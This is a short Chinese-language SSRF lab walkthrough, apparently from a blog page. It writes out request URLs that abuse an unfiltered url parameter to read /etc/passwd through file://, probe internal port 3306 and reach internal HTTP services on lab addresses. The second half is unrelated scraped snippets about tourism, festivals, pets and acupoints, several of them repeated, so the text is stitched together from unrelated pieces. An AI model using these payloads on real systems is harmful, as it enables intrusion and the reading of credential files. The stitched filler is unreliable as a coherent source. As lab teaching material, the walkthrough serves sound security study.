1. 源码分析

由于URL参数无经过严格的过滤，那么攻击者可以构造任意的url利用SSRF漏洞

如上所示，分析可知有SSRF漏洞

2.SSRF漏洞文件读取

（1）访问网址根目录下ssrf文件夹下的1.txt

构造SSRF漏洞访问文件的url

http://127.0.0.1/ssrf/index.php?url=http://127.0.0.1/ssrf/1.txthttp://192.168.71.131/ssrf/index.php?url=http://127.0.0.1/ssrf/1.txt

（2）访问/etc/passwd文件

http://192.168.71.131/ssrf/index.php?url=file:///etc/passwd

利用SSRF端口探测方法，如果访问3306端口返回数据库信息（3306通常为数据库端口），就说明开启了3306端口。反之如果无数据返回或者延迟较大，说明该端口未开放。

http://192.168.71.131/ssrf/index.php?url=http://127.0.0.1:3306

如上所示3306端口返回信息，证明此端口已开放

访问内网http服务

http://192.168.71.131/ssrf/index.php?url=http://127.0.0.1

埃菲尔铁塔在哪中国仿建埃菲尔... 2019年4月26日，广西南宁市，街头惊现一座巨型山寨版埃菲尔铁塔，高约20米，白色塔身，造型逼真，...

我喜欢你韩语怎么说 sikid...

苗族的传统节日贵州苗族节日有... 【岜沙苗族芦笙节】岜沙，苗语叫“分送”，距从江县城7.5公里，是世界上最崇拜树木并以树为神的枪手部落...

苁蓉的食用方法鲜苁蓉的吃法有... 肉苁蓉号称“温而不热，补而不峻，暖而不燥，滑而不泄，故有从容之名。”历来也是传统药食同源的滋补佳品。...

北京的名胜古迹北京最著名的景... 北京从元代开始，逐渐走上帝国首都的道路，先是成为大辽朝五大首都之一的南京城，随着金灭辽，金代从海陵王...

应用未安装解决办法平板应用未... ---IT小技术，每天Get一个小技能！一、前言描述苹果IPad2居然不能安装怎么办？与此IPad不...

脚上的穴位图脚面经络图对应的... 人体穴位作用图解大全更清晰直观的标注了各个人体穴位的作用，包括头部穴位图、胸部穴位图、背部穴位图、胳...

长白山自助游攻略吉林长白山游... 昨天介绍了西坡的景点详细请看链接：一个人的旅行，据说能看到长白山天池全凭运气，您的运气如何？今日介绍...

猫咪吃了塑料袋怎么办猫咪误食... 你知道吗？塑料袋放久了会长猫哦！要说猫咪对塑料袋的喜爱程度完完全全可以媲美纸箱家里只要一有塑料袋的响...

世界上最漂亮的人世界上最漂亮... 此前在某网上，选出了全球265万颜值姣好的女性。从这些数量庞大的女性群体中，人们投票选出了心目中最美...

埃菲尔铁塔在哪中国仿建埃菲尔... 2019年4月26日，广西南宁市，街头惊现一座巨型山寨版埃菲尔铁塔，高约20米，白色塔身，造型逼真，...

我喜欢你韩语怎么说 sikid...

阳澄湖在哪里哪个省的阳澄湖是... 点击题目下方苏州生活指南有用有趣有态度近期的阳澄湖度很高，3月24日，央视二套《第一时间》直播连...

苗族的传统节日贵州苗族节日有... 【岜沙苗族芦笙节】岜沙，苗语叫“分送”，距从江县城7.5公里，是世界上最崇拜树木并以树为神的枪手部落...

北京的名胜古迹北京最著名的景... 北京从元代开始，逐渐走上帝国首都的道路，先是成为大辽朝五大首都之一的南京城，随着金灭辽，金代从海陵王...